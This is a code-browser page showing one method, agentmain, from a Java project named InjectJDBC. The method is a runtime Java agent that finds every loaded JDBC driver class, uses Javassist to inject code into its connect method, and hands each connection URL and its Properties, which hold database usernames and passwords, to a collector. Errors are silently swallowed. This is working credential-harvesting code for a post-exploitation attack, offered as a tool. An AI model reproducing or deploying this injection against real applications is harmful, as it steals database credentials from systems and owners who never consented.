MCPcopy Create free account
hub / github.com/BeichenDream/InjectJDBC / agentmain

Method agentmain

src/com/abc/Main.java:124–148  ·  view source on GitHub ↗
(String agentArg, Instrumentation inst)

Source from the content-addressed store, hash-verified

122 }
123
124 public static void agentmain(String agentArg, Instrumentation inst){
125 outFile = agentArg;
126 Class[] classes = inst.getAllLoadedClasses();
127 for (int i = 0; i < classes.length; i++) {
128 Class clazz = classes[i];
129 try {
130 if (Driver.class.isAssignableFrom(clazz)){
131 ClassPool classPool = new ClassPool(true);
132 classPool.insertClassPath(new ClassClassPath(clazz));
133 classPool.insertClassPath(new LoaderClassPath(clazz.getClassLoader()));
134 CtClass ctClass = classPool.get(clazz.getName());
135 CtMethod ctMethod = ctClass.getMethod("connect","(Ljava/lang/String;Ljava/util/Properties;)Ljava/sql/Connection;");
136 ctMethod.insertBefore(String.format(" try {\n" +
137 " java.lang.Class.forName(\"%s\",true,java.lang.ClassLoader.getSystemClassLoader()).getMethod(\"add\", new java.lang.Class[]{java.lang.String.class, java.util.Properties.class}).invoke(null,new java.lang.Object[]{$1,$2});\n" +
138 " }catch (java.lang.Throwable e){\n" +
139 " \n" +
140 " }",Main.class.getName()));
141 inst.redefineClasses(new ClassDefinition(clazz,ctClass.toBytecode()));
142 ctClass.detach();
143 }
144 }catch (Throwable e){
145// e.printStackTrace();
146 }
147 }
148 }
149 private static boolean eq(String url,String properties) throws Throwable{
150 if (dbConnMap.containsKey(url)) {
151 String valueProperties=(String) dbConnMap.get(url);

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected